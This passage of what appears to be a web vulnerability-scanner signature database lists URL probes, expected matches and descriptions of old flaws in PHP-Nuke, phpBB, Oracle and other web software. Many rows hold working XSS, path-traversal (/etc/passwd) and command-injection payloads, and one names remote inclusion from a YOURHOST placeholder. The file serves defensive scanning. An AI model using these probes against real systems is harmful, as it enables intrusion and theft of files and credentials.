  1237. "generic","/manager/","200","GET","May be a web server or site manager."
  1238. "generic","/manual.php","200","GET","Does not filter input before passing to shell command. Try 'ls -l' as the man page entry."
  1239. "generic","/manual/","200","GET","Web server manual? tsk tsk."
  1240. "generic","/master.password","200","GET","Passwords?"
  1241. "generic","/mcartfree/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
  1242. "generic","/megabook/admin.cgi?login=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Megabook guestbook is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1243. "generic","/megabook/files/20/setup.db","200","GET","Megabook guestbook configuration available remotely."
  1244. "generic","/Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000","Login as Admin successful","POST","Meridian Integrated Recorded Announcer default account admin/admin000 enabled"
  1245. "generic","/members.asp?SF=%22;}alert('Vulnerable');function%20x(){v%20=%22","alert('Vulnerable')","GET","Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1246. "generic","/metacart/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."
  1247. "generic","/midicart.mdb","200","GET","MIDICART database is available for browsing. This should not be allowed via the web server."
  1248. "generic","/MIDICART/midicart.mdb","200","GET","MIDICART database is available for browsing. This should not be allowed via the web server."
  1249. "generic","/mlog.phtml","200","GET","Remote file read vulnerability CVE-1999-0346"
  1250. "generic","/mod_ose_docs","Oracle Servlet Engine","GET","Default Oracle documentation found."
  1251. "generic","/mods/apage/apage.cgi?f=file.htm.|id|","uid=0","GET","WebAPP Apage.CGI remote command execution. BID-13637"
  1252. "generic","/modsecurity.php","200","GET","This phpWebSite script may allow inclusion of remote scripts by adding ?inc_prefix=http://YOURHOST/"
  1253. "generic","/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index","javascript:alert(document.cookie);","GET","Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1254. "generic","/modules.php?name=Classifieds&op=ViewAds&id_subcatg=75&id_catg=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1255. "generic","/modules.php?name=Downloads&d_op=viewdownload","Failed opening","GET","PHPNuke allows file system paths to be revealed."
  1256. "generic","/modules.php?name=Downloads&d_op=viewdownload","Fatal error","GET","PHPNuke allows file system paths to be revealed."
  1257. "generic","/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=02&ttitle=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This install of PHPNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1258. "generic","/modules.php?name=Members_List&letter=All&sortby=pass","Admin","GET","PHP Nuke module allows user names and passwords to be viewed. See http://www.frog-man.org/tutos/PHP-Nuke6.0-Members_List-Your_Account.txt for other SQL exploits in this module."
  1259. "generic","/modules.php?name=Members_List&sql_debug=1","SQL query: ","GET","The PHP-Nuke install may allow attackers to enable debug mode and disclose sensitive information by adding sql_debug=1 to the query string."
  1260. "generic","/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","uid=","GET","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version."
  1261. "generic","/modules.php?name=Stories_Archive&sa=show_month&year=<script>alert('Vulnerable')</script>&month=3&month_l=test","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1262. "generic","/modules.php?name=Stories_Archive&sa=show_month&year=2002&month=03&month_l=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1263. "generic","/modules.php?name=Surveys&pollID=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1264. "generic","/modules.php?name=Your_Account&op=userinfo&uname=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1265. "generic","/modules.php?name=Your_Account&op=userinfo&username=bla<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Francisco Burzi PHP-Nuke 5.6, 6.0, 6.5 RC1/RC2/RC3, 6.5 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1266. "generic","/modules.php?op=modload&name=0&file=0","Failed opening ","GET","PHP Nuke is configured to give descriptive error messages which can reveal file system paths."
  1267. "generic","/modules.php?op=modload&name=books&file=index&req=search&query=|script|alert(document.cookie)|/script|","<script>alert(document.cookie)","GET","PostNuke CMS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1268. "generic","/modules.php?op=modload&name=DMOZGateway&file=index&topic=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The DMOZGateway (PHPNuke Add-on module) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1269. "generic","/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=1&categories=%3Cimg%20src=javascript:alert(document.cookie);%3E&parent_id=0","javascript:alert(document.cookie)","GET","Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1270. "generic","/modules.php?op=modload&name=Guestbook&file=index&entry=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1271. "generic","/modules.php?op=modload&name=Members_List&file=index&letter=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This install of PHPNuke's modules.php is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1272. "generic","/modules.php?op=modload&name=News&file=article&sid=<script>alert('Vulnerable');</script+>","<script>alert('Vulnerable')</script+>","GET","Postnuke is vulnerable to Cross Site Scripting. CA-2000-02."
  1273. "generic","/modules.php?op=modload&name=News&file=article&sid=<script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","Postnuke is vulnerable to Cross Site Scripting. CA-2000-02."
  1274. "generic","/modules.php?op=modload&name=News&file=index&catid=&topic=><script>alert('Vulnerable');</script>;","<script>alert('Vulnerable')</script>","GET","Postnuke is vulnerable to Cross Site Scripting. CA-2000-02."
  1275. "generic","/modules.php?op=modload&name=Sections&file=index&req=viewarticle&artid=","non-object in","GET","Postnuke v0.7.2.3-Phoenix and below reveal the file system path."
  1276. "generic","/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink","Failed opening ","GET","PHP Nuke is configured to give descriptive error messages which can reveal file system paths."
  1277. "generic","/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1278. "generic","/modules.php?op=modload&name=WebChat&file=index&roomid=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The PHPNuke forum is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1279. "generic","/modules.php?op=modload&name=Wiki&file=index&pagename=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Wiki PostNuke Module is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1280. "generic","/modules.php?op=modload&name=Xforum&file=<script>alert('Vulnerable')</script>&fid=2","<script>alert('Vulnerable')</script>","GET","The XForum (PHPNuke Add-on module) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1281. "generic","/modules.php?op=modload&name=Xforum&file=member&action=viewpro&member=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The XForum (PHPNuke Add-on module) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1282. "generic","/modules.php?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../../../../etc/passwd","root:","GET","Gallery Addon for PhpNuke allows files to be read remotely. CAN-2001-0900."
  1283. "generic","/modules/Forums/bb_smilies.php?bgcolor1=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1284. "generic","/modules/Forums/bb_smilies.php?Default_Theme=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1285. "generic","/modules/Forums/bb_smilies.php?name=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1286. "generic","/modules/Forums/bb_smilies.php?site_font=}--></style><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHP-Nuke 6.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1287. "generic","/modules/Submit/index.php?op=pre&title=<script>alert(document.cookie);</script>","<script>alert(document.cookie)","GET","Basit cms 1.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1288. "generic","/mp3/","200","GET","Uh oh..."
  1289. "generic","/mpcsoftweb_guestbook/database/mpcsoftweb_guestdata.mdb","200","GET","MPCSoftWeb Guest Book passwords retrieved."
  1290. "generic","/msadm/domain/index.php3?account_name=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The Sendmail Server Site Domain Administrator login is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1291. "generic","/msadm/site/index.php3?authid=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The Sendmail Server Site Administrator Login is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1292. "generic","/msadm/user/login.php3?account_name=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The Sendmail Server Site User login is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1293. "generic","/musicqueue.cgi","200","GET","Musicqueue 1.20 is vulnerable to a buffer overflow. Ensure the latest version is installed (exploit not attempted). http://musicqueue.sourceforge.net/"
  1294. "generic","/myhome.php?action=messages&box=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","OpenBB 1.0.0 RC3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1295. "generic","/myinvoicer/config.inc","System settings","GET","MyInvoicer prior to 1.0.2 allowed remote user to read source of config  file, possibly leaking sensitive information or passwords."
  1296. "generic","/mylog.phtml?screen=/etc/passwd","root:","GET","Remote file read vulnerability CVE-1999-0346"
  1297. "generic","/myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent","[script]alert(document.cookie)","GET","myphpnuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1298. "generic","/myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent","<script>alert(document.cookie)","GET","myphpnuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1299. "generic","/myphpnuke/links.php?op=search&query=[script]alert('Vulnerable);[/script]?query=","[script]alert('Vulnerable)","GET","myphpnuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1300. "generic","/myphpnuke/links.php?op=search&query=[script]alert('Vulnerable);[/script]?query=","<script>alert('Vulnerable)","GET","myphpnuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1301. "generic","/mysql/db_details_importdocsql.php?submit_show=true&do=import&docpath=../../../../../../../etc","passwd!404","GET","phpMyAdmin allows directory listings remotely. Upgrade to version 2.5.3 or higher. BID-7963."
  1302. "generic","/na_admin/ataglance.html","Filer At","GET","NetApp application displays detailed system information."
  1303. "generic","/nav/cList.php?root=</script><script>alert('Vulnerable')/<script>","<script>alert('Vulnerable')/<script>","GET","RaQ3 server script is vulnerable to Cross Site Scripting (XSS).  CA-2000-02."
  1304. "generic","/ncl_items.html","200","GET","This may allow attackers to reconfigure your Tektronix printer."
  1305. "generic","/ncl_items.shtml?SUBJECT=1","200","GET","This may allow attackers to reconfigure your Tektronix printer."
  1306. "generic","/netget?sid=user&msg=300&file=../../../../../../../../../../etc/passwd","root:","GET","Sybex E-Trainer allows arbitrary files to be retrieved."
  1307. "generic","/netget?sid=user&msg=300&file=../../../../../../../../../boot.ini","boot loader","GET","Sybex E-Trainer allows arbitrary files to be retrieved."
  1308. "generic","/netutils/findata.stm?host=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1309. "generic","/netutils/findata.stm?user=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1310. "generic","/netutils/ipdata.stm?ipaddr=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1311. "generic","/netutils/whodata.stm?sitename=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1312. "generic","/news/news.mdb","200","GET","Web Wiz Site News realease v3.06 admin password database is available and unencrypted."
  1313. "generic","/newuser?Image=../../database/rbsserv.mdb","SystemErrorsPerHour","GET","The Extent RBS ISP 2.5 allows attackers to read arbitrary files on the server."
  1314. "generic","/node/view/666\"><script>alert(document.domain)</script>","<script>alert(document.domain)</script>","GET","Drupal 4.2.0 RC is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1315. "generic","/nph-showlogs.pl?files=../../../../../../../../etc/&filter=.*&submit=Go&linecnt=500&refresh=0","passwd","GET","nCUBE Server Manage 1.0 allows directory listings of any location on the remote system."
  1316. "generic","/nph-showlogs.pl?files=../../../../../../../../etc/passwd&filter=.*&submit=Go&linecnt=500&refresh=0","root:","GET","nCUBE Server Manage 1.0 allows any file to be read on the remote system."
  1317. "generic","/nuke/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","uid=","GET","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version."
  1318. "generic","/oekaki/",".conf","GET","The PaintBBS Server may allow unauthorized access to the config files."
  1319. "generic","/officescan/hotdownload/ofscan.ini","200","GET","OfficeScan from Trend Micro allows anyone to read the ofscan.ini file, which may contain passwords."
  1320. "generic","/ojspdemos/basic/hellouser/hellouser.jsp","200!License Exception","GET","Oracle 9i default jsp page found, may be vulnerable to XSS in any field."
  1321. "generic","/ojspdemos/basic/simple/usebean.jsp","200!License Exception","GET","Oracle 9i default jsp page found, may be vulnerable to XSS in any field."
  1322. "generic","/ojspdemos/basic/simple/welcomeuser.jsp","200!License Exception","GET","Oracle 9i default jsp page found, may be vulnerable to XSS in any field."
  1323. "generic","/openautoclassifieds/friendmail.php?listing=<script>alert(document.domain);</script>","<script>alert(document.domain)</script>","GET","OpenAutoClassifieds 1.x is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1324. "generic","/openautoclassifieds/friendmail.php?listing=<script>alert(document.domain);</script>","200","GET","OpenAutoClassifieds 1.0 is vulnerable to a CSS/XSS attack"
  1325. "generic","/opendir.php?/etc/passwd","root:","GET","This PHP-Nuke CGI allows attackers to read any file on the web server. CVE-2001-0321"
  1326. "generic","/opendir.php?requesturl=/etc/passwd","root:","GET","This PHP-Nuke CGI allows attackers to read any file on the web server. CVE-2001-0321"
  1327. "generic","/oprocmgr-status","Module Name","GET","Oracle 9iAS default install allows access to the Java Process Manager."
  1328. "generic","/options.php?optpage=<script>alert('Vulnerable!')</script>","include_path","GET","This Squirrel Mail 1.2.7 reveals the PHP path information in error messages."
  1329. "generic","/order/order_log_v12.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
  1330. "generic","/order/order_log.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
  1331. "generic","/orders/order_log_v12.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
  1332. "generic","/Orders/order_log_v12.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
  1333. "generic","/orders/order_log.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
  1334. "generic","/Orders/order_log.dat","200","GET","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt"
  1335. "generic","/ows-bin/perlidlc.bat?&dir","ows-bin:","GET","The Oracle web listener can be used to execute remote commands. http://www.securiteam.com/windowsntfocus/Oracle_Web_Listener_4_0_x_CGI_vulnerability.html"
  1336. "generic","/ows/restricted%2eshow","200","GET","OWS may allow restricted files to be viewed by replacing a character with its encoded equivalent."
  1337. "generic","/pafiledb/includes/team/file.php","200","GET","paFileDB 3.1 and below may allow file upload without authentication."
  1338. "generic","/page.cgi?../../../../../../../../../../etc/passwd","root:","GET","WWWeBBB Forum up to version 3.82beta allow arbitrary file retrieval."
  1339. "generic","/Page/1,10966,,00.html?var=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Vignette server is vulnerable to Cross Site Scripting (XSS). CA-2000-02. Upgrade to the latest version."
  1340. "generic","/pages/htmlos/%3Cscript%3Ealert('Vulnerable');%3C/script%3E","<script>alert('Vulnerable')</script>","GET","Aestiva HTML/OS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1341. "generic","/passwdfile","200","GET","Passwords?"
  1342. "generic","/password.inc","globalpw","GET","GTCatalog 0.9 admin password was retrieved remotely."
  1343. "generic","/path/nw/article.php?id='","c:/","GET","News Wizard 2.0 reveals the file system path."
  1344. "generic","/path/nw/article.php?id='","d:/","GET","News Wizard 2.0 reveals the file system path."
  1345. "generic","/pccsmysqladm/incs/dbconnect.inc","200","GET","This file should not be accessible, as it contains database connectivity information. Upgrade to version 1.2.5 or higher."
  1346. "generic","/PDG_Cart/oder.log","200","GET","Shopping cart software log"
  1347. "generic","/PDG_Cart/shopper.conf","Authnet_Login","GET","PDGSoft's PDG Shopping Cart 1.5 ╩http://www.pdgsoft.com/ , Shopping cart software log, http://www.mindsec.com/advisories/post2.txt"
  1348. "generic","/people.lst","200","GET","Passwords?"
  1349. "generic","/perl/-e%20%22system('cat%20/etc/passwd');\%22","root:","GET","The installed perl interpreter allows any command to be executed remotely."
  1350. "generic","/perl/","Index of ","GET","This should probably not be browsable."
  1351. "generic","/pforum/edituser.php?boardid=&agree=1&username=%3Cscript%3Ealert('Vulnerable')%3C/script%3E&nickname=test&email=test@example.com&pwd=test&pwd2=test&filled=1","<script>alert('Vulnerable')</script>","GET","Pforum 1.14 is vulnerable to Cross Site Scripting (XSS). CA-2000-02"
  1352. "generic","/phorum/admin/footer.php?GLOBALS[message]=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Phorum 3.3.2a and below from phorum.org is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1353. "generic","/phorum/admin/header.php?GLOBALS[message]=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Phorum 3.3.2a and below from phorum.org is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1354. "generic","/phorum/admin/stats.php","Phorum Stats","GET","PHP based forum script Phorum allows a user to retrieve the top ten active users, including email addresses. Delete the script or pass protect it."
  1355. "generic","/photo_album/","200","GET","Atomic Photo Album pre 1.0.3 had a 'few' security problems."
  1356. "generic","/photo/","200","GET","My Photo Gallery pre 3.6 contains multiple vulnerabilities including .. traversal, unspecified vulnerabilities, and remote management interface access."
  1357. "generic","/photo/manage.cgi","200","GET","My Photo Gallery management interface. May allow full access to photo galleries and more."
  1358. "generic","/photodata/","200","GET","My Photo Gallery pre 3.6 contains multiple vulnerabilities including .. traversal, unspecified vulnerabilities, and remote management interface access."
  1359. "generic","/photodata/manage.cgi","200","GET","My Photo Gallery management interface. May allow full access to photo galleries and more."
  1360. "generic","/php-coolfile/action.php?action=edit&file=config.php","200","GET","PHP-Coolfile 1.4 allows unauthorized administrative access."
  1361. "generic","/php-coolfile/action.php?action=edit&file=config.php","pass_1","GET","PHP-Coolfile 1.4 may allow any user to read the config.php file."
  1362. "generic","/php.ini","200","GET","This file should not be available through the web interface."
  1363. "generic","/php/index.php","200","GET","Monkey Http Daemon default php file found." 
  1364. "generic","/php/mlog.phtml","200","GET","Remote file read vulnerability CVE-1999-0346"
  1365. "generic","/php/mylog.phtml?screen=/etc/passwd","root:","GET","Remote file read vulnerability CVE-1999-0346"
  1366. "generic","/php/php.exe?c:\winnt\boot.ini","boot loader","GET","Apache/PHP installations can be misconfigured (according to documentation) to allow files to be retrieved remotely."
  1367. "generic","/phpBB/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","root:","GET","The PHPNuke admin.php is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320"
  1368. "generic","/phpBB/phpinfo.php","200","GET","phpBBmod contains an enhanced version of the phpinfo.php script. This should be removed as it contains detailed system information."
  1369. "generic","/phpBB/viewtopic.php?t=17071&highlight=\">\"<script>javascript:alert(document.cookie)</script>","<script>javascript:alert(document.cookie)</script>","GET","phpBB is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1370. "generic","/phpBB/viewtopic.php?topic_id=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","phpBB is vulnerable to Cross Site Scripting (XSS), upgrade to the latest version. CA-2000-02."
  1371. "generic","/phpBB2/includes/db.php","200","GET","Some versions of db.php from phpBB2 allow remote file inclusions. Verify the current version is running. See http://www.securiteam.com/securitynews/5BP0F2A6KC.html for more info"
  1372. "generic","/phpBB2/search.php?search_id=1","SQL Error","GET","phpBB 2.06 search.php is vulnerable to SQL injection attack. Error page also includes full path to search.php file."
  1373. "generic","/phpclassifieds/latestwap.php?url=<script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","PHP Classifieds 6.05 from http://www.deltascripts.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1374. "generic","/phpEventCalendar/file_upload.php","200","GET","phpEventCalendar 1.1 and prior vulnerable to file upload bug."
  1375. "generic","/phpimageview.php?pic=javascript:alert('Vulnerable')","alert('Vulnerable')","GET","PHP Image View 1.0 is vulnerable to Cross Site Scripting (XSS).  CA-2000-02."," "
  1376. "generic","/phpinfo.php?VARIABLE=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Contains PHP configuration information and is vulnerable to Cross Site Scripting (XSS).  CA-2000-02."
  1377. "generic","/phpinfo.php","200","GET","Contains PHP configuration information"
  1378. "generic","/phpinfo.php3?VARIABLE=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Contains PHP configuration information and is vulnerable to Cross Site Scripting (XSS).  CA-2000-02."
  1379. "generic","/phpinfo.php3","200","GET","Contains PHP configuration information"
  1380. "generic","/phpmyadmin/db_details_importdocsql.php?submit_show=true&do=import&docpath=../../../../../../../etc","passwd!404","GET","phpMyAdmin allows directory listings remotely. Upgrade to version 2.5.3 or higher. BID-7963."
  1381. "generic","/phpnuke/html/.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","uid=","GET","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version."
  1382. "generic","/phpnuke/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","uid=","GET","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version."
  1383. "generic","/phpping/index.php?pingto=www.test.com%20|%20dir%20c:\\","boot.ini","GET","PHP Ping allows commands to be executed on the remote host."
  1384. "generic","/phprank/add.php?page=add&spass=1&name=2&siteurl=3&email=%3Cscript%3Ealert(Vulnerable)%3C/script%3E","<script>alert(Vulnerable)</script>","GET","phpRank is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1385. "generic","/phprocketaddin/?page=../../../../../../../../../../boot.ini","boot loader","GET","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host."
  1386. "generic","/phprocketaddin/?page=../../../../../../../../../../etc/passwd","root:","GET","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host."
  1387. "generic","/phpshare/phpshare.php","200","GET","Several serious security holes pre 0.6b2. Several minor security holes pre 0.6b3"
  1388. "generic","/phptonuke.php?filnavn=/etc/passwd","root:","GET","Photonouke or myphpnuke allows artbitrary file to be retrieved from the remote host."
  1389. "generic","/phptonuke.php?filnavn=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","PHPNuke add-on PHPToNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1390. "generic","/phpwebchat/register.php?register=yes&username=OverG&email=<script>alert%20(\"Vulnerable\")</script>&email1=<script>alert%20(\"Vulnerable\")</script>","alert(\"Vulnerable\")</script>","GET","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1391. "generic","/phpwebfilemgr/index.php?f=../../../../../../../../../etc","passwd","GET","phpWebFileManager v2.0.0 and prior are vulnerable to a directory traversal bug."
  1392. "generic","/phpwebfilemgr/index.php?f=../../../../../../../../../etc/passwd","root:","GET","phpWebFileManager v2.0.0 and prior are vulnerable to a directory traversal bug."
  1393. "generic","/phpwebsite/index.php?module=calendar&calendar[view]=day&month=2&year=2003&day=1+%00\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","phpWebSite 0.9.x and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1394. "generic","/phpwebsite/index.php?module=calendar&calendar[view]=day&year=2003%00-1&month=","DB Error: syntax error","GET","phpWebSite 0.9.x and below are vulnerable to SQL injection."
  1395. "generic","/phpwebsite/index.php?module=fatcat&fatcat[user]=viewCategory&fatcat_id=1%00+\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","phpWebSite 0.9.x and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1396. "generic","/phpwebsite/index.php?module=pagemaster&PAGE_user_op=view_page&PAGE_id=10\"><script>alert('Vulnerable')</script>&MMN_position=[X:X]","<script>alert('Vulnerable')</script>","GET","phpWebSite 0.9.x and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1397. "generic","/phpwebsite/index.php?module=search&SEA_search_op=continue&PDA_limit=10\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","phpWebSite 0.9.x and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1398. "generic","/pls/help/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Oracle 9iAS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1399. "generic","/pls/portal30/admin_/","Gateway Configuration Menu","GET","Default Oracle 9iAS allows unrestricted access to the mod_plsql DAD admin interface."
  1400. "generic","/pls/sample/admin_/help/..%255cplsql.conf","Directives added for mod-plsql","GET","Oracle 9iAS allows mod_plsql to perform a directory traversal."
  1401. "generic","/pls/simpledad/admin_/","Gateway Configuration Menu","GET","This default may allow limited administration of the Oracle server."
  1402. "generic","/pls/simpledad/admin_/adddad.htm?%3CADVANCEDDAD%3E","Edit Database","GET","Oracle admin page may reveal password in a prebuilt form and reveal database information."
  1403. "generic","/pls/simpledad/admin_/dadentries.htm","Add Database Access","GET","Oracle admin script allows modification of database information."
  1404. "generic","/pls/simpledad/admin_/gateway.htm?schema=sample","Gateway Configuration Menu","GET","This default may allow limited administration of the Oracle server."
  1405. "generic","/pls/simpledad/admin_/globalsettings.htm","edit global gateway","GET","Oracle admin script allows modification of database information."
  1406. "generic","/pm_buddy_list.asp?name=A&desc=B%22%3E<script>alert('Vulnerable')</script>%3Ca%20s=%22&code=1","<script>alert('Vulnerable')</script>","GET","Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1407. "generic","/pm.php?function=sendpm&to=VICTIM&subject=SUBJECT&images=javascript:alert('Vulnerable')&message=MESSAGE&submitpm=Submit","<script>alert('Vulnerable')</script>","GET","IcrediBB Bulletin Board System is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1408. "generic","/pmlite.php","200","GET","A Xoops CMS script was found. Version RC3 and below allows all users to view all messages (untested). See http://www.phpsecure.org/?zone=pComment&d=101 for details." 
  1409. "generic","/pms.php?action=send&recipient=DESTINATAIRE&subject=happy&posticon=javascript:alert('Vulnerable')&mode=0&message=Hello","<script>alert('Vulnerable')</script>","GET","WoltLab Burning Board is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1410. "generic","/porn/","200","GET","This could be interesting"
  1411. "generic","/postinfo.html","Web Publishing Information","GET","Microsoft FrontPage default file found. OSVDB-3233."
  1412. "generic","/postnuke/html/index.php?module=My_eGallery","200","GET","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection."
  1413. "generic","/postnuke/html/modules.php?op=modload&name=News&file=article&sid=<script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","PostNuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
